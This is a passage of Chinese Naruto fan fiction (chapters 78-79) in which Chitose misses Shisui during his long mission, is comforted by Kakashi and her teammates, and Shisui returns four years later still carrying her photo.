眼泪一颗一颗砸在信纸上,把字迹都染花了。
他不说。
他只把所有的温柔,藏在“等我回来”这四个字里。
也把所有的牵挂,藏在“别再受伤”这一句里。
千岁吸了吸鼻子,用手背狠狠抹了一把眼泪。
她站起身,赤脚踩在微凉的地面上,一步一步,朝着医院的方向走去。
78.第78章 我会变得更强
训练场
由里香皱着眉,拔高了一点声音:“你在听我说话吗!?!?”
千歲这才从一片空茫的神游里猛地回过神,眼神还有些发怔:“啊?什么?”
“我真是服了你了,你根本就没在听对吧!”
“抱歉啦由里香,”她轻声道歉,语气里带着几分没回过神的倦怠,“你刚刚说什么?再说一遍。”
“晚上!玄间老师说一起去烤肉Q聚餐!”
千歲淡淡应了一声,情绪淡得几乎看不见:“哦哦,这样啊……我去。”
自从止水出村执行长期任务,她就常常这样,明明人站着,心却早不知道飘去了哪里,整个人都空落落的。
由里香看着她这副模样,轻轻叹了口气:“那你记得准备一下,傍晚我们在族地门口见。”
“知道了,由里香。”
话音落下,千歲便转身,慢慢朝家的方向走去。
路过那家熟悉的木村果子店,鼻尖仿佛还能闻到草莓大福的甜香——那是止水以前总买来哄她的味道。
再走过山人大叔的花鸟店,和山人大叔理论的时候,也是止水站出来,不动声色地替她解了围。
一步一步,她竟不知不觉走到了止水家门口。
明明再拐两条街就是自己家,可她的脚步,却不受控制地在这儿停住、徘徊。
以前只要她站在这儿,仰头大喊一句:“止水!”
下一秒,二楼的阳台就会被推开,那个温柔又耀眼的少年会探出身,笑着应她:“怎么啦?”
可现在,阳台的窗紧紧关着,再也不会有那个人,笑着从里面探出头来。
千歲轻轻叹了口气,终于还是转身,继续朝自家走去。
这大概是,那个没心没肺的少女第一次叹气。
止水离开村子,已经一个多月了。
他现在……到底在做什么呢?
千歲回到家中,沉默地走进客厅。
坐在厅里的宇智波枭被她这副模样吓了一跳。换作平常,她一推开玄关大门就会元气满满地大喊一声“我回来啦!”,可最近家里的气压低得吓人,整个人安静得反常。
宇智波枭实在不习惯这样的女儿。
以前她叽叽喳喳话多到让他头疼,可现在,他反倒宁愿她再吵一点、闹一点,也不想看她这样一言不发、心事重重的样子。
“怎么又一脸不开心?”他率先开口,语气里藏着不易察觉的担心。
千歲轻轻垂着眼,随口搪塞:“没什么,就是今天训练有点累,我先回房间了。”
话音刚落,房门便被轻轻关上,将她一个人留在了安静的空间里。
她走到桌前坐下,桌面上,还静静放着止水临走前留给她的信。
就这么呆坐了许久,她的视线忽然一转,落在了一旁的柜子上——那台她当初捡来的相机,在那次互换身体的风波之后,便一直留在了家里。
千歲伸手拿起相机,随手打开。
屏幕里,赫然存着一张照片:是当时最后一次,鼬和止水为了换回身体拍下的。她记得很清楚,原本一共拍了三张。一张是她和止水的双人照,她当时嫌自己拍得难看,随手丢在了一边,被止水悄悄收了起来;另一张三个人的合照,则被鼬拿走了。
直到这一刻她才猛然意识到,自己和止水相处了那么久,朝夕相伴,竟连一张真正属于两个人、好好打印出来的合照都没有。
唯一留下的,只有相机里这张未打印的电子画面,屏幕上还显示着3/3 相纸缺失。
下一秒,一个念头猛地窜进脑海——
只要装上全新的相纸,这张照片不就可以打印出来了吗?!
“老爸——!!!!!”
一声突如其来的大喊穿透楼层。
楼下正悠闲喝茶的宇智波枭被吓得猛地一呛,嘴里的茶水“噗”地全喷了出来。
宇智波枭:“……”
总算恢复正常了?
千歲风风火火地冲下楼:“老爸!你有没有匹配这个相机的相纸啊!”
“好像……确实有。”
宇智波枭无奈地翻箱倒柜,终于找出了合适的相纸。
没过多久,一张崭新清晰的照片,便缓缓从相机里吐了出来。
照片上的人不是她,可千歲却小心翼翼地捧着,像是握住了全世界最珍贵的宝物。
宇智波枭捏着那张照片,狐疑地抬眼扫了下女儿,语气里满是无所谓的调侃:“就这?”
“什么呀,老爸你懂什么。”千岁懒得跟他多解释,直接把他晾在客厅,自顾自地翻箱倒柜。她想找个相框,把这张来之不易的照片装裱起来,可家里翻了个遍,竟连合适的镜框都没有。无奈之下,她只好出门去买。
街上行人匆匆,可千岁跑了好几家照相馆,要么今日闭门,要么货架早已售空。眼看着天色一点点暗下来,她依旧一无所获。
不知不觉间,她竟走到了族地后方的那片后山。
这里是木叶的结界边缘,也是她、止水和鼬三个人最常来的秘密基地。
她在一块熟悉的大石上坐下,怀里紧紧揣着那张照片。
夕阳的余晖洒下来,将照片晕染成温暖的橘色。千岁伸出手,指尖轻轻摩挲着照片上止水那张总是带着温柔笑意的脸,眼神里满是化不开的思念。
“止水……你现在……在干什么呢……”
她轻声呢喃着,“是不是……在战斗啊……”
“可能在战斗着吧。”
一道低沉磁性的男声突兀地从身后响起,千岁吓得浑身一僵,猛地回头:“哇啊!”
看清身后那抹戴着面罩、银发遮额的身影时,她连忙起身:“卡卡西老师!你要吓死我吗?怎么一点声音都没有!”
旗木卡卡西缓缓收起一只挡在身前的手,目光落在她略显憔悴的脸上:“止水离开木叶快一个月了,还没适应吗?”
这话像一根细针,轻轻刺破了千岁强撑的平静。她抿紧唇,眼底的光暗了一瞬,没有立刻开口。
卡卡西见状,默契地不再提起止水,转而转移了话题,目光落在她身上:“中忍考试决赛,你做得很好。”
顿了顿,他声音低沉,带着洞悉一切的了然:“最后那一招千鸟,你是为了鼬,才自己放弃使用的吧?”
“卡卡西老师说过,千鸟……是保护同伴的,不是用来伤害同伴的……”
卡卡西沉默了一瞬。
他看着眼前这个金发少女,恍惚间竟看到了多年前那个固执自己。他张了张嘴,难得露出了认真的赞许:“你做得很好……比我这个年纪的时候,做得好多了。”
“可是我听老爸说,”千岁垂眸,“卡卡西老师从小就被称为天才,年纪轻轻就进入了暗部……”
“所谓天才,”卡卡西别过脸,遮去了独眼中那一抹复杂难辨的情绪,语气带着一丝不易察觉的自嘲,“也是会输的。会输给各种各样的事情。”
千岁只是看着他。
那只露在外面的眼睛里,沉淀着太多她此刻无法读懂的沧桑故事。
“但是,”千歲重新握紧了拳头,“正因为是卡卡西老师教我的,我才能在最后一刻,选择收手。”
她抬起头:“谢谢你,老师,教给我的这些道理。”
卡卡西看着眼前这个仿佛一夜之间长大不少的少女,心里微微一叹。以前的她,总是咋咋呼呼、没心没肺;而现在的她,眼神里多了一份沉重的懂事,也多了一份让人心疼的隐忍。
“嘛,你还小,”
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他轻咳一声,收起了那份沉重,语气恢复了平日的散漫,“等以后长大了,你就懂了。”
烤肉Q店内暖黄的灯光裹着肉香,早已痊愈的浅野光和不知火玄间正坐在位置上等候。看见推门而入的千岁和由里香,两人立刻抬手招呼。
刚一落座,不知火玄间便叼着牙签,语气随意又大方:“想吃什么随便点,今天老师请客。”
“啊?真的吗?”由里香眼睛一亮,立刻摩拳擦掌,“那我可就点最贵的了!”
不知火玄间在心底默默叹气:真是一点不客气啊……算了,刚发工资,就让她们放开吃吧。
他清了清嗓子,正色道:“也是为了庆祝你们两个,成功晋级中忍。”
话音刚落,浅野光忽然从一旁拿出一盒包装精致的洋果子,递向千岁:“千岁,这个是玄间老师专门为你——”
话还没说完,桌下忽然传来一阵狠狠的踩踏感。浅野光疼得眉头一皱,瞬间接收到玄间快要杀人的眼神:不是说了别暴露是我买的吗?我的冷酷形象还要不要了!
他连忙改口,语气都乱了:“这、这个……玄间老师说,这不是他专程排队买到的……”
由里香在一旁默默扶额:还不如不说。
见千岁没什么反应,浅野光轻轻打开盒子——
里面整整齐齐摆着四枚圆润可爱的草莓大福。
那一瞬间,熟悉的甜香扑面而来,千岁盯着眼前的点心,一直强撑着的情绪终于绷断,眼泪毫无预兆地滚落下来。
由里香吓了一跳,立刻抽出纸巾递过去,同时飞快地朝浅野光使了个眼色——不用说,一定又是想到止水了。
可没想到,千岁哽咽着,开口的第一句却是:
“对不起……大家……这几天……让大家担心了……”
不知火玄间夹菜的动作一顿。
“谢谢你,玄间老师……记得我喜欢吃这个…还专门去排队给我买……”
这个月以来,她一直沉浸在止水离开的空洞里,把所有关心她的人都远远推开,完全忽略了身边一直陪着她的伙伴。
明明……有这么多人在在意她。
“对不起,由里香……每次都不听你把话说完……”
千岁的声音抖得厉害,
“这样的自己……实在太差劲了……我只想着自己的事,还把坏情绪都带给大家……”
“千岁。”不知火玄间放软了语气,声音沉稳而温柔,“想哭就哭出来吧,不用硬撑。”
浅野光也连忙点头:“就是啊,我们又不会笑你。”
由里香轻轻拍着她的背,故意凶巴巴地逗她:“你再哭,等止水回来,我一定好好告状,说你因为他天天哭得像个小孩子。”
千岁吸着鼻子,哽咽地反驳:“我、我真的不会再哭了啦……”
“好啦好啦,”由里香指了指盒子,“再哭,草莓大福就要被浅野光偷吃光了。”
“那不行!”
千岁几乎是下意识地护住盒子,一句话让全场都松了口气。
不知火玄间无奈又好笑地摇了摇头:“好了,别哭成这样,待会儿回家,枭大人该以为我们合伙欺负你了。”
“千岁的爸爸真的超级可怕……”由里香心有余悸。
浅野光好奇地凑过来:“有多可怕?”
“你去她家坐一次就知道了。”
听着伙伴们你一言我一语的打闹,千岁心里那片沉沉的乌云,终于一点点散开。
她不是一个人。
就算止水暂时不在身边,她也拥有着无比珍贵的同伴。
止水,就算你现在不在。
我也会加油的。
我会努力等到你回来那天。
我一定会强大到让你刮目相看。
79.第79章 四年后
四年后,木叶55年,火之国边境。
风沙掠过荒芜的旷野,将空气染成一片干燥的浅黄。
“一切交接已经结束,我们随时可以返回木叶。”
身形已然高大挺拔的青年站在风里,黑色披风被气流掀得猎猎作响,语气平静得不带一丝波澜:“知道了。”
他拾起那枚因卧底任务而搁置了整整四年的木叶护额,指尖轻轻抚过冰凉的金属,随后稳稳系在额间。微卷的黑发从护额下散落,衬得他轮廓愈发利落深邃,眉眼间沉淀着四年暗战磨砺出的锐利与沉静。
身旁的人低声询问:“雾隐那边的情报?”
“稍等,我会亲自带回,呈给火影大人。”
这场深入敌后的卧底任务,远比预想之中更加漫长。
四年,一千四百多个日夜,他没有回过木叶,没有寄过一封家书,所有的联系只有暗号与任务,所有的情绪都被死死压在心底。
直到此刻,任务终了。
青年缓缓
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抬手,从贴身衣物最内层、最靠近心脏的位置,取出一张被反复摩挲、边缘早已微微发软的照片。
照片上,是当年那个还带着稚气的金发少女。
四年来从未松动的锐利眼眸,在看见这张脸的瞬间,骤然化开一片温柔的暖意,软得一塌糊涂。
他静静凝视了片刻,小心翼翼地将照片重新收好,放回最安全的地方。
下一秒,他抬眼望向木叶的方向,声音轻而坚定:
“走吧。”